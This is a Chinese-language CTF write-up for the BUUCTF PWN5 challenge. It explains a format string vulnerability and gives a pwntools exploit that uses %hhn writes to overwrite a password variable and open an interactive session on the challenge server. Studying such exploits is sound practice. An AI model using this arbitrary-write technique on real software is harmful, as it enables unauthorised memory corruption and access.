参考:BUU pwn [第五空间2019 决赛]PWN5 //格式化字符串漏洞 - Nemuzuki - 博客园 (cnblogs.com)
格式化字符串漏洞原理详解_printf 任意内存读取-CSDN博客
32位小端排序,有栈溢出保护
运行效果:
查看main函数
存在格式化字符串漏洞
输入的参数在栈上的位置是第十个:
可以直接%10$定位到这个位置:
利用格式化字符串漏洞去修改变量的值,这里变量长度为4个字节
对应的变量地址为0x0804C044、0x0804C045、0x0804C046、0x0804C047
所以可以用%10$,%11$,%12$,%13$去定位到这4个地址,再用%n修改这这个地址里的内容,正常的printf语句如下:
printf(“%10$hhn%11$hhn%12$hhn%13$hhn”, …,0x804c044, 0x804c045, 0x804c046, 0x804c047)
因此将正常的printf语句转为无参数的printf,即将参数放到格式化字符串前面构造payload,从而利用%n将前面的字符数写入到指定地址中,passwd的每个字节即写入地址中的值是p32(0x804c047)+p32(0x804c046)+p32(0x804c045)+p32(0x804c044)的长度,也就是4x4=16,二进制为0x10,所以passwd就是4个0x10拼接起来后的计算结果str(0x10101010)=269488144
这里没太懂为什么是16,难道是打印结果中G\xcF\xcE\xcD\xc的长度?
printf(“%10$hhn%11$hhn%12$hhn%13$hhn”, …,0x804c044, 0x804c045, 0x804c046, 0x804c047)
最终可用的exp:
from pwn import *
p = remote("node5.buuoj.cn",28260)
payload = p32(0x804c047)+p32(0x804c046)+p32(0x804c045)+p32(0x804c044)+b'%10$hhn%11$hhn%12$hhn%13$hhn'
p.sendline(payload)
p.sendline(str(0x10101010))
p.interactive()
执行效果: